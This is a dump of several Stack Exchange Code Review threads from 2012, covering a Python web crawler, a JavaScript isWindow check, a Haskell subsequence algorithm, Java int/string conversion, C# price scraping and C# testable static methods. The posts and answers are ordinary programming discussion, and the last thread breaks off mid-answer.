cmdLine.add_option("-v", "--level", action="store", dest="logLevel", type="int",
default="0", help=u"the level of the logfile, default is 5")
cmdLine.add_option("-l", "--logfile", action="store", dest="logFile", type="string",
default="spider.log", help=u"the name of the logfile, default is spider.log")
(options, args) = cmdLine.parse_args()
return options
# Initialize the log file
def logInit(logfile="spider.log", level=5, quiet=False):
logger = logging.getLogger()
# 0~5 level
# level 0 -- CRITICAL -- 50
# level 1 -- ERROR -- 40
# level 2 -- WARNING -- 30
# level 3 -- INFO -- 20
# level 4 -- DEBUG -- 10
# level 5 -- NOTSET -- 0
logger.setLevel(50-level*10)
hdlr = logging.FileHandler(logfile)
formatter = logging.Formatter("%(asctime)s %(levelname)s %(message)s")
hdlr.setFormatter(formatter)
logger.addHandler(hdlr)
# if the quiet equal False, then output the log information in the standard stream also
if not quiet:
hdlr = logging.StreamHandler()
hdlr.setFormatter(formatter)
logger.addHandler(hdlr)
return logger
class Node:
def __init__(self, deep, url):
self.url = url
self.deep = deep
# the urlParser class
# parser the link in the web page and store in the url list
class urlParser(SGMLParser):
def reset(self):
self.urls = []
SGMLParser.reset(self)
# get the link which begin with "href"
def start_a(self, attrs):
href = [v for k, v in attrs if k == 'href']
if href:
self.urls.extend(href)
# A mult-thread class
# read the url
class readUrlThread(threading.Thread):
# deep is the depth of the crawler
def __init__(self, urlque, htmlque, deep):
threading.Thread.__init__(self)
self.urlque = urlque
self.htmlque = htmlque
self.deep = deep
def getUrl(self, node):
try:
htmlSource = urllib.urlopen(node.url).read()
except UnicodeError, e: # if there is a Unicode exception, switch and put back to the queue
self.urlque.put(Node(node.deep, node.url.encode('raw_unicode_escape')))
mylog.error("unicode error" + e)
return None
except Exception, e:
mylog.error("crawl error" + str(e), )
return None
self.htmlque.put((node.url, htmlSource))
print "get url: " + node.url
mylog.info("get url: " + node.url)
if node.deep <= self.deep:
parser = urlParser()
parser.feed(htmlSource)
for url in parser.urls:
myurl = url
self.urlque.put(Node(node.deep+1, myurl))
return htmlSource
def run(self):
while True:
node = self.urlque.get()
htmlSource = self.getUrl(node)
self.urlque.task_done()
class writeDatabaseThread(threading.Thread):
def __init__(self, htmlque, sqlfile):
threading.Thread.__init__(self)
self.htmlque = htmlque
self.sqlfile = sqlfile
def run(self):
conn = sqlite3.connect(self.sqlfile)
conn.text_factory = str
cursor = conn.cursor()
cursor.execute('''
create table data (
id INTEGER PRIMARY KEY AUTOINCREMENT,
url text,
html text
)
''')
conn.commit()
print 'Begin<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<'
while True:
url, html = self.htmlque.get()
self.htmlque.task_done()
try:
# insert the data into the database
cursor.execute('insert into data (url, html) values(?, ?)', (url, html))
conn.commit()
mylog.info("Write to: " + url)
print u'Write to: ', url, self.htmlque.qsize()
except Exception, e:
mylog.error("database error: " + e)
print 'database error: ', e
self.htmlque.put((url, html))
#############################################
# This statement was not be printed, why??? #
#############################################
print u'End<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<'
cursor.close()
conn.close()
def work(url, deep, threads, dbfile):
urlque = Queue(0)
htmlque = Queue(0)
# if the dbfile is exist, remove it
if os.path.isfile(dbfile):
os.chmod(dbfile, stat.S_IWRITE)
os.remove(dbfile)
# read url from the urlque and parser it
for i in range(threads):
r = readUrlThread(urlque, htmlque, deep)
r.setDaemon(True)
r.start()
urlque.put(Node(1, url))
# store the html source into the database
w = writeDatabaseThread(htmlque, dbfile)
w.setDaemon(True)
w.start()
urlque.join()
htmlque.join()
print u'Done...'
if __name__ == '__main__':
options = cmdParser()
mylog = logInit("spider.log", 5)
work('http://www.google.com', 5, 100, "data.db")
</code></pre>
<p>Can everyone give me suggestions on improving this code?</p>
|
[
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-26T13:05:35.287",
"Id": "16495",
"Score": "1",
"body": "You need a code review site. Is this homework?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-26T13:14:33.310",
"Id": "16496",
"Score": "1",
"body": "@duffymo: I have implemented all the task. I only hope everyone can give me better suggestion to improve the code. why treat it as homework? and close it?"
}
] |
[
{
"body": "<p>It is easy to write an abusive crawler you need to keep a couple of things in mind.</p>\n\n<ul>\n<li>You should always respect the robots.txt file</li>\n<li>You should respect the meta \"ROBOTS\" tag.</li>\n<li><p>You should not hit a site too quickly.</p>\n\n<ul>\n<li>A good rule of thumb is that you should not hit a site more often than every 0.7 seconds<br>\nBig sites (like google.com) can be hit quicker.<br>\nSmaller sites (like my moms web pages) should be hit much slower.</li>\n<li>Also check \"Crawl-Delay\" (It is a non standard extension to robots.txt that some sites use)</li>\n</ul></li>\n<li><p>You should always provide a user agent string that identifies your bot.</p></li>\n</ul>\n\n<p>If you don't follow the above guidelines then organized Web Masters will block your IP quickly or worse send your bot into a bot trap (were you get no useful information).</p>\n\n<p>Worth checking here:<br>\n<a href=\"http://www.robotstxt.org/robotstxt.html\" rel=\"nofollow\">http://www.robotstxt.org/robotstxt.html</a></p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-27T04:00:34.047",
"Id": "10357",
"ParentId": "10344",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-26T13:04:52.687",
"Id": "10344",
"Score": "3",
"Tags": [
"python"
],
"Title": "Web crawler in Python"
}
|
10344
|
<p>While I'm aware of various <a href="https://stackoverflow.com/questions/3099716/javascript-check-if-a-variable-is-the-window">different means</a> of checking if a variable is a <code>Window</code> object in JavaScript, I'm interested in writing a function that is more accurate and resilient.</p>
<p>For example, jQuery uses:</p>
<pre><code>isWindow: function( obj ) {
return obj != null && obj == obj.window;
}
</code></pre>
<p>which will return an incorrect result for:</p>
<pre><code>var o = {};
o.window = o;
$.isWindow(o); //returns `true`, even though `o` is not a window object
</code></pre>
<p>For purposes of this question, assume that the browser's native functions and objects have <em>not</em> been modified at the time of initialization.</p>
<hr>
<p>Currently my code is:</p>
<pre><code>(function (w) {
"use strict";
var wStr;
wStr = Object.prototype.toString.call(w);
if (!w.isWindow) {
w.isWindow = function (arg) {
var e,
str,
self,
hasSelf;
//Safari returns `DOMWindow`
//Chrome returns `global`
//Firefox, Opera & IE9 return `Window`
str = Object.prototype.toString.call(arg);
switch (wStr) {
case '[object DOMWindow]':
case '[object Window]':
case '[object global]':
return str === wStr;
}
if ('self' in arg) {
//`'self' in arg` is true if `'self'` is in `arg` or a prototype of `arg`
hasSelf = arg.hasOwnProperty('self');
//`hasSelf` is true only if `'self'` is in `arg`
try {
if (hasSelf) {
self = arg.self;
}
delete arg.self;
if (hasSelf) {
arg.self = self;
}
} catch (e) {
//IE 7&8 throw an error when `window.self` is deleted
return true;
}
}
return false;
};
}
}(window));
</code></pre>
<hr>
<p>A few assertions:</p>
<pre><code>console.assert(isWindow(window), '"window" is a window');
var o = {};
o.self = o;
o.window = o;
console.assert(!isWindow(o), '"o" is not a window');
var w = window.open('about:blank');
console.assert(isWindow(w), '"w" is a window');
var x = window.open('http://www.example.com');
console.assert(isWindow(x), '"x" is a window');
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-26T18:29:19.687",
"Id": "16503",
"Score": "0",
"body": "Also note, I'd prefer accuracy over performance. `function (arg) { return !!arg && arg === arg.self }` is very performant but not as accurate."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-26T09:23:23.970",
"Id": "17868",
"Score": "0",
"body": "Can you explain why you need to know if an object is a window?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-26T13:12:01.097",
"Id": "17974",
"Score": "0",
"body": "There are niche cases where I need to know if an object is a window. I'm aware of alternative, less resilient methods for checking for a window type (see this [related question](http://stackoverflow.com/a/9404323/497418)), and I'm mostly just curious in an academic sense as to whether a function can be written that will accurately check the type of the object."
}
] |
[
{
"body": "<pre><code>(function (global) {\n function isWindow(o) { return o === global }\n})(window)\n</code></pre>\n\n<p>Just grab the window token at global scope, it can be overwritten</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-26T18:58:05.127",
"Id": "16506",
"Score": "0",
"body": "`var w = window.open('about:blank'); isWindow(w);` should return `true`, but would return `false` for your code."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-26T19:01:40.557",
"Id": "16507",
"Score": "1",
"body": "@zzzzBov you can't do cross VM isWindow checks in a future proof manner."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-26T19:04:15.230",
"Id": "16508",
"Score": "1",
"body": "and why is that?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-05-25T21:49:49.227",
"Id": "19346",
"Score": "0",
"body": "@zzzzBov I think you can - see my response."
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-26T18:35:07.550",
"Id": "10347",
"ParentId": "10346",
"Score": "0"
}
},
{
"body": "<p>What about taking advantage of the (stupid) fact that the context parameter inside a function invoked without call or apply will be the window?</p>\n\n<pre><code>mYApp.isWindow = function(obj) {\n if(!obj)\n return false\n return obj === (function() { return this})() //is this the window\n || obj.eval && obj.eval.call && obj.eval(\"this === (function(){ return this })()\") //is that another window\n || false; //make undefined false\n};\n</code></pre>\n\n<p>Seems to even work when wrapped in a <code>with</code>. That being said, you might have legitimate reasons to want to test for this but I can't think of any.</p>\n\n<p>Edit: Added check for 'other' window. You could probably add some finagling to check that eval isn't a stub that always returns <code>true</code>. So if it returns true for example you could generate two random numbers, add them together, and then pass them into the eval string and have it add those numbers and confirm the result is indeed accurate. Let's be honest though, that's stupid, if someone wants to trick you that bad, they'll find a way.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-05-25T21:38:10.223",
"Id": "12081",
"ParentId": "10346",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "3",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-26T18:24:27.713",
"Id": "10346",
"Score": "6",
"Tags": [
"javascript"
],
"Title": "Most accurate isWindow function"
}
|
10346
|
<p>OK, so I recently posted <a href="https://codereview.stackexchange.com/questions/10230/python-implementation-of-the-longest-increasing-subsequence-problem">this solution in Python</a> to the <a href="http://en.wikipedia.org/wiki/Longest_increasing_subsequence" rel="nofollow noreferrer">longest non-decreasing subsequence problem</a>, and cleaned it up with some expert advice. As a next step, I wanted to translate this solution into Haskell. This presents a challenge because the algorithm as originally formulated depends heavily on mutable arrays with O(1) lookup and update behavior, which are standard in Python but a little harder to come by in Haskell.</p>
<p>Some <a href="https://stackoverflow.com/questions/9825693/looking-for-an-efficient-array-like-structure-that-supports-replace-one-member">excellent</a> <a href="https://stackoverflow.com/questions/9856293/looking-for-a-generic-bisect-function">answers</a> on Stackoverflow pointed me towards <code>Data.Seq</code> as a mutable, indexable array type, and <code>Numeric.Search.Range</code> for a generic binary search operation (which is key to making the algorithm efficient).</p>
<p>I wanted to express this algorithm as a fold over the input list because that seemed like a natural way to do it. However the Python version depends on many O(1) lookups to arbitrary places in the input list - not really possible within a Haskell fold over an ordinary list. I saw that this could be avoided by, rather than doing what the Python version does - namely storing indices into the input array of "the best subsequence of length n found so far" - storing <em>the best actual subsequence</em> as a Haskell list. At first sight, this seems incredibly wasteful, because at the end of the calculation for an input list of length <code>n</code> there could be as many as <code>n</code> "best subsequence" lists which are on average <code>n / 2</code> long, creating space requirements of order <code>n^2</code>! However, since these are Haskell lists derived from each other, they actually share a lot of the same space... for example, in the case where the input list is already a non-decreasing list of length <code>n</code>, the calculation will involve creating <code>n</code> subsequence lists of lengths [1..n], but each one shares a tail with its predecessor and the total space requirement is just proportional to <code>n</code>.</p>
<p>The code is below. What I am looking for is: 1) general comments on readability, correctness, etc. and 2) a way to prove an upper bound on the space requirement.</p>
<pre><code>import Data.Sequence as DS
import Numeric.Search.Range
seqLast::Seq a -> a
seqLast xs = index xs ((DS.length xs) - 1)
-- Return the longest non-decreasing subsequence of an input sequence of integers
nonDecreasing::[Int]->[Int]
nonDecreasing = Prelude.reverse . seqLast . makeM
where makeM = foldl updateM empty
where updateM m x | DS.null m = singleton [x]
| insert_idx == Nothing = m |> (x:(seqLast m))
| just_insert_idx == 0 = update 0 [x] m
| otherwise = update just_insert_idx (x:(index m (just_insert_idx - 1))) m
where insert_idx = searchFromTo (\idx -> x < (head (index m idx))) 0 ((DS.length m) - 1)
just_insert_idx = maybe 0 id insert_idx
</code></pre>
|
[] |
[
{
"body": "<p>A few general remarks</p>\n\n<p>I find that stepped whiles are as evil as nested if statements for readability of the code. Here, you have three levels of nesting.\nRelying on the surrounding environment for variables can some times obscure possibility to generalize (You make use of x and m for inner definitions)</p>\n\n<p>So here is what I would do</p>\n\n<pre><code>import Data.Sequence as DS\nimport Numeric.Search.Range as R\n\nseqLast::Seq a -> a\nseqLast xs = index xs ((DS.length xs) - 1)\n\ninsert_idx :: Ord a => a -> Seq [a] -> Maybe Int\ninsert_idx y m = searchFromTo (fn y) 0 $ (DS.length m) - 1\n where fn y idx = y < (head (index m idx))\n\n-- Return the longest non-decreasing subsequence of an input sequence of integers\nnonDecreasing::[Int] -> [Int]\nnonDecreasing = Prelude.reverse . seqLast . makeM\n where makeM = foldl updateM empty\n updateM m x | DS.null m = singleton [x]\n | otherwise = case insert_idx x m of\n Nothing -> m |> (x: seqLast m)\n Just l -> update l (x:geti l m) m\n geti 0 _ = []\n geti l m = index m (l -1)\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-26T21:57:35.117",
"Id": "18022",
"Score": "0",
"body": "I see your point about the nested `where`'s being out of control... but doesn't a nested `where` at least make it clear that `insert_idx` is not used anywhere else in the program?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-27T00:31:09.063",
"Id": "18030",
"Score": "0",
"body": "Do you gain any thing by that knowledge? Nesting causes us to overlook places where we can create general functions that can be used elsewhere. (On the other hand, I fear I have no hard data to back that up. Perhaps a question for S.O?)"
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-25T20:42:59.100",
"Id": "11176",
"ParentId": "10349",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-26T20:54:31.333",
"Id": "10349",
"Score": "4",
"Tags": [
"optimization",
"haskell"
],
"Title": "Longest non-decreasing subsequence, in Haskell"
}
|
10349
|
<p>I am studying about the converting int to string and string to int without using <code>toString</code> and <code>parseInt</code> method. I already made methods. However, I don't believe that my way of doing was the best. I would like to improve these function.</p>
<p>For example, the first converts from <code>String</code> to <code>int</code>:</p>
<pre><code>public static int StringToint(String number)
int eachnumber = 0;
int intConvert = 48;
int reVal = 0;
int index;
int maxlen =number.length() - 1;
for(index = 0 ; index <= maxlen ; index++)
{
eachnumber = number.charAt(index);
eachnumber = eachnumber - intConvert;
reVal = reVal + (eachnumber * (int) Math.pow(10, maxlen - index));
}
return reVal;
}
</code></pre>
<p>Second, for converting <code>int</code> to <code>String</code>:</p>
<pre><code>public static String IntToString(int number)
{
int StringConvet = 48;
int eachDigit = number;
int afterDivide = number;
String reVal = "";
while(afterDivide >0)
{
eachDigit = afterDivide % 10;
afterDivide = afterDivide / 10;
if(eachDigit == 0)
{
reVal += "0";
}
else if(eachDigit == 1)
{
reVal += "1";
}
else if(eachDigit == 2)
{
reVal += "2";
}
else if(eachDigit == 3)
{
reVal += "3";
}
else if(eachDigit == 4)
{
reVal += "4";
}
else if(eachDigit == 5)
{
reVal += "5";
}
else if(eachDigit == 6)
{
reVal += "6";
}
else if(eachDigit == 7)
{
reVal += "7";
}
else if(eachDigit == 8)
{
reVal += "8";
}
else if(eachDigit == 9)
{
reVal += "9";
}
}
String reVal2 = "";
for(int index = reVal.length() -1 ; index >= 0 ; index--)
{
reVal2 += reVal.charAt(index);
}
return reVal2;
}
</code></pre>
<p>I am sure that the <code>StringToint</code> method is \$O(n)\$ and <code>intToString</code> method will be \$O(n^2)\$. However, I am really sure that there are ways to improve these two methods. Is there any way to improve these two functions?</p>
|
[
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-26T21:35:35.430",
"Id": "16516",
"Score": "0",
"body": "Your making these on purpose right.. Instead of just using Integer.parseInt() and Integer.toString().."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-26T21:41:22.033",
"Id": "16517",
"Score": "0",
"body": "yep, I am studying about interview questions and I just want to know the better way to build these methods."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-04T21:56:28.380",
"Id": "16962",
"Score": "0",
"body": "What happens if you need a string representation of a negative number?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2015-07-14T15:18:01.900",
"Id": "177158",
"Score": "0",
"body": "For the love of baby Jesus, fix your indentation!"
}
] |
[
{
"body": "<p>To improve your <code>intToString()</code> method you should consider using a <a href=\"http://docs.oracle.com/javase/6/docs/api/java/lang/StringBuilder.html\" rel=\"nofollow\"><code>StringBuilder</code></a>, and specifically the method <a href=\"http://docs.oracle.com/javase/6/docs/api/java/lang/StringBuilder.html#append%28int%29\" rel=\"nofollow\"><code>StringBuilder.append(int)</code></a>.</p>\n\n<p>Iterate digits in your <code>int</code>, and for each digit you can <code>append(eachDigit)</code> to the <code>StringBuilder</code> element. This will also reduce the complexity of <code>intToString()</code> to \\$O(n)\\$ since you do not need to create a new <code>String</code> instance each iteration. To get a <code>String</code> object from the <code>StringBuilder</code>, use <code>StringBuilder.toString()</code>. Or, if you are not allowed, you can use <a href=\"http://docs.oracle.com/javase/6/docs/api/java/lang/StringBuilder.html#substring%28int%29\" rel=\"nofollow\"><code>StringBuilder.subString(0)</code></a>.</p>\n\n<p>You should also use a <code>StringBuilder.append()</code> (using the same idea) to reverse the resulting string (your second loop in your code).</p>\n\n<p>Since it is not homework (as per comments), I have no problems providing a code snap. It should look something like this:</p>\n\n<pre><code>public static String intToString(int n) { \n if (n == 0) return \"0\";\n StringBuilder sb = new StringBuilder();\n while (n > 0) { \n int curr = n % 10;\n n = n/10;\n sb.append(curr);\n }\n String s = sb.substring(0);\n sb = new StringBuilder();\n for (int i = s.length() -1; i >= 0; i--) { \n sb.append(s.charAt(i));\n }\n return sb.substring(0);\n}\n</code></pre>\n\n<p>Notes:</p>\n\n<ul>\n<li>You can also use <a href=\"http://docs.oracle.com/javase/1.5.0/docs/api/java/lang/StringBuilder.html#reverse%28%29\" rel=\"nofollow\"><code>StringBuilder.reverse()</code></a> instead of the second loop.</li>\n<li>In here, \\$O(n)\\$ means linear in the the number of digits in the input number (<code>n</code> is the number of digits in the input number - not the number itself!) If you are looking for the complexity in terms of the initial number (it is \\$O(\\log(n))\\$) since you divide your element by 10 each iterations, you have a total of \\$\\log_{10}(\\text{number})\\$ iterations for each loop, which results in \\$O(\\log(\\text{number}))\\$.</li>\n</ul>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-26T21:42:24.170",
"Id": "16518",
"Score": "0",
"body": "sorry , it is not homework. It actually came from the interview questions. I was preparing the interview for coding questions. Anyway, thanks a lot :)"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-26T21:54:22.453",
"Id": "16519",
"Score": "0",
"body": "This is still O(n^2) though, you can easily insert at beginning, otherwise there no need to use a StringBuilder (even because javac will optimize it to a StringBuilder in most cases)"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-26T21:58:45.200",
"Id": "16520",
"Score": "0",
"body": "@Jack: No, it is `O(n)` - each loop is `O(n)` - the algorithm is total of `O(2 * n) = O(n)`. inserting element in the beginning will probably make it `O(n^2)` - since inserting an element to the beginning of [dynamic array](http://en.wikipedia.org/wiki/Dynamic_array#Performance) is `O(n)` each for each insert."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-26T23:27:54.770",
"Id": "16526",
"Score": "0",
"body": "Yes, yours it still O(2n), misread the code sorry. I was thinking about the internal implementation of StringBuilder, I thought it worked by doing some black magic with linked lists, not a plain internal array. But if it's a dynamic array of course insert will require O(n). I guess that with `Math.ceil(Math.log10(number))` we could be able to avoid reversing the string then."
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-26T21:37:26.140",
"Id": "10352",
"ParentId": "10351",
"Score": "12"
}
},
{
"body": "<p>Your approach seems indeed quite overkill.</p>\n\n<p>Conversion from string to int can be done in a way similar to yours, but by multiplying the result by 10 at every step, without the need to calculate the i-th power for every digit:</p>\n\n<pre><code>int stringToInt(String s)\n{\n int r = 0;\n for (int i = 0; i < s.length(); ++i)\n {\n if (i > 0)\n r *= 10;\n\n r += s.charAt(i)-'0';\n }\n return r;\n}\n</code></pre>\n\n<p>While conversion from int to string can take into account the difference between the char <code>'0'</code> and the current character of the string without the need of a if/else chain. In addition you can use a string buffer to insert characters at the beginning to avoid the necessity of reversing the string.</p>\n\n<pre><code>String intToString(int i)\n{\n StringBuilder b = new StringBuilder();\n\n while (i != 0)\n {\n b.insert(0, (char)('0'+i%10));\n i /= 10;\n }\n\n return b.toString();\n}\n</code></pre>\n\n<p>Mind that the cast to <code>char</code> is needed to avoid using the method <code>insert(int offset, int value)</code> that would actually convert the int to a string.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-26T22:00:10.783",
"Id": "16521",
"Score": "0",
"body": "note that `b.insert()` is `O(n)`. have a look on the performance of [dynamic array](http://en.wikipedia.org/wiki/Dynamic_array#Performance) [which I *think* this is how `StringBuilder` is implemented]. inserting an element to the beginning is `O(n)` each, so total of `O(n^2)`. Also, there is a special case of `i == 0`, which should be handled."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-26T21:51:51.740",
"Id": "10353",
"ParentId": "10351",
"Score": "1"
}
},
{
"body": "<p>For your example , I should point out some problems : first , when you add two add string frequently, you should use <code>StringBuilder</code> instead ; second , you should consider <code>Integer.MIN_VALUE</code> into account!Here is my code:</p>\n\n<pre><code>public static String parseInt(int integer)\n{\n boolean ifNegative = integer<0;\n boolean ifMin = integer == Integer.MIN_VALUE;\n StringBuilder builder = new StringBuilder(); \n integer = ifNegative?(ifMin?Integer.MAX_VALUE:-integer):integer; \n List<Integer> list = new LinkedList<Integer>(); \n int remaining = integer;\n int currentDigit = 0 ;\n\n while(true)\n {\n currentDigit = remaining%10;\n list.add(currentDigit);\n remaining /= 10;\n if(remaining==0) break;\n }\n\n currentDigit = list.remove(0);\n builder.append(ifMin?currentDigit+1:currentDigit);\n for(int c : list)\n builder.append(c);\n builder.reverse().insert(0, ifNegative?'-':'+');\n return builder.toString();\n}\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-07-05T09:16:26.313",
"Id": "13339",
"ParentId": "10351",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "10352",
"CommentCount": "4",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-26T21:29:44.320",
"Id": "10351",
"Score": "9",
"Tags": [
"java",
"interview-questions",
"reinventing-the-wheel"
],
"Title": "Converting int value to String without using toString and parseInt method"
}
|
10351
|
<p>I have a website on which for every request, the scraping of other websites is done to get accurate data. While it works well, it has a slight impact on the performance.</p>
<pre><code>public ActionResult Index(int id)
{
Product product = pe.Products.Where(p => p.Id == id).First();
foreach (var pricing in product.Retailer_Product_Prices)
{
switch (pricing.RetailerId)
{
case 1:
pricing.Price = PriceCompareStatic.GetFlipKart(pricing.Url);
if (pricing.Url.Contains("?"))
pricing.Url = pricing.Url + "&affid=pankajupad";
else
pricing.Url = pricing.Url + "?affid=pankajupad";
break;
case 3:
pricing.Price = PriceCompareStatic.GetHomeShop(pricing.Url, "//span[@class='pdp_details_hs18Price']");
break;
.
.
. // Removed for brevity
default:
break;
}
product.BasePrice = product.Retailer_Product_Prices.Min(p => p.Price);
}
return View(product);
}
</code></pre>
<p><strong>PriceCompareStatic</strong></p>
<pre><code>public static decimal GetFlipKart(string url)
{
var baseUrl = new Uri(url);
HtmlAgilityPack.HtmlDocument document = new HtmlDocument();
try
{
WebClient client = new WebClient();
document.Load(client.OpenRead(baseUrl));
var div = document.DocumentNode.SelectNodes("//meta[@itemprop='price']").FirstOrDefault();
HtmlAttribute att = div.Attributes["content"];
string modPrice = att.Value.Replace("Rs. ", "");
return Convert.ToDecimal(modPrice);
}
catch (Exception)
{
return 123456789;
}
}
public static decimal GetSpanFromWebSite(string url, string identification)
{
var baseUrl = new Uri(url);
HtmlAgilityPack.HtmlDocument document = new HtmlDocument();
try
{
WebClient client = new WebClient();
document.Load(client.OpenRead(baseUrl));
var div = document.DocumentNode.SelectNodes(identification).FirstOrDefault();
return Convert.ToDecimal(div.InnerHtml);
}
catch (Exception)
{
return 123456789;
}
}
.
.
. // Removed for brevity
</code></pre>
<p>Do you think shifting from shared hosting to ones own server will help with such requirements?</p>
|
[
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-27T15:32:30.563",
"Id": "16542",
"Score": "1",
"body": "Does the data change frequently? Could you live with somewhat stale data? Can you afford to do this asynchronously?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-27T17:52:15.490",
"Id": "16544",
"Score": "0",
"body": "Actually data changes therefore i had to write this code. Do you think there can be any possibility of improvement in this code. Also, tell me how can one work this code asyncronously"
}
] |
[
{
"body": "<p>It's hard to tell exactly how it's being utilized since your code sample is an example. However, a few notes. </p>\n\n<p>Due to the design of your use case above most of the time any improvements are going to pale in comparison to pulling a web page live (especially multiple). If you want real improvement, cache the information from the other websites.</p>\n\n<p>Regarding the Code sample above, the only item I would recommend looking into is the parallel.foreach statement. If you utilize it, make sure you've already pulled all the data from the database to loop through (not waiting on EF lazy loading). Otherwise you will run into some EF threading issues.</p>\n\n<p>I would also recommend creating static delegate methods for each website provider and when your application loads put the methods into a concurrent dictionary. It will help to clean up you code to make it more readable. </p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-29T13:31:05.340",
"Id": "10449",
"ParentId": "10358",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-27T04:56:55.337",
"Id": "10358",
"Score": "3",
"Tags": [
"c#",
"performance",
"web-scraping"
],
"Title": "Gaining better performance when screen scraping is required"
}
|
10358
|
<p>I am adding new functionality into a legacy application. For my new classes I have introduced Unit Testing. I still need to work with the existing code.</p>
<p>One of the problems I face is that a lot of static methods have been used.</p>
<p>Below is an example of a class I need to use:</p>
<pre><code>public class HelperClass
{
public static bool ReturnSomething()
{
return true;
}
}
</code></pre>
<p>My fix for making this testable:</p>
<pre><code>public interface IHelperClass
{
bool ReturnSomething();
}
public class HelperClass : IHelperClass
{
public static bool ReturnSomething()
{
return true;
}
bool IHelperClass.ReturnSomething()
{
return ReturnSomething();
}
}
</code></pre>
<p>A class that used to use the static method, but by introducing a property (initialized by the constructor), that now uses the testable class. I can inject a mock using this property.
Note that I could have used a factory for injecting the mock, however I wanted to keep it simple for the example.</p>
<pre><code>public class UserClass
{
public UserClass()
{
// Initialize with default
HelperClass = new HelperClass();
}
public IHelperClass HelperClass { get; set; }
}
</code></pre>
<p>My advantages:</p>
<ul>
<li>No need to modify existing code that is using the static class</li>
<li>Code can be migrated from static to a testable instance</li>
<li>I can reuse the existing concrete class</li>
</ul>
<p>My disadvantages:</p>
<ul>
<li>Needed to modify legacy code that needs to be tested. Not always possible when in external assembly.</li>
<li>PropertyName is the same as the class Name</li>
</ul>
<p>I welcome any feedback!</p>
|
[] |
[
{
"body": "<p>What about creating new classes that use the existing static methods rather than extending existing code. That way you will not need to worry about breaking existing code or adding duplicate method calls onto existing? </p>\n\n<p>One thing I would say for certain is to stay away from a property name being the same as the class name. Name it something different at least. Even just Helper is better than HelperClass (although probably not much).</p>\n\n<p>Something alot along the lines you mentioned but very slight differences:</p>\n\n<pre><code>public interface IHelper\n{\n bool ReturnSomething();\n}\n\npublic class HelperAdapter : IHelper\n{\n bool IHelperClass.ReturnSomething()\n {\n return HelperClass.ReturnSomething();\n }\n}\n</code></pre>\n\n<p>And it is used like:</p>\n\n<pre><code>public class UserClass\n{\n private readonly IHelper _helperAdapter;\n\n public UserClass()\n : this(new HelperAdapter())\n\n public UserClass(IHelper helper)\n {\n helperAdapter = helper;\n }\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-27T14:55:18.477",
"Id": "16538",
"Score": "0",
"body": "I agree with you that using the same name is bad. Actually it made converting existing code easier, however for readability it is indeed better to use the 'adapter' naming convention."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-28T14:10:03.263",
"Id": "16580",
"Score": "0",
"body": "I think I like this solution best. It minimizes the change required to abstract the static, and it allows you to inject a mock helper when necessary."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-27T08:31:18.700",
"Id": "10360",
"ParentId": "10359",
"Score": "7"
}
},
{
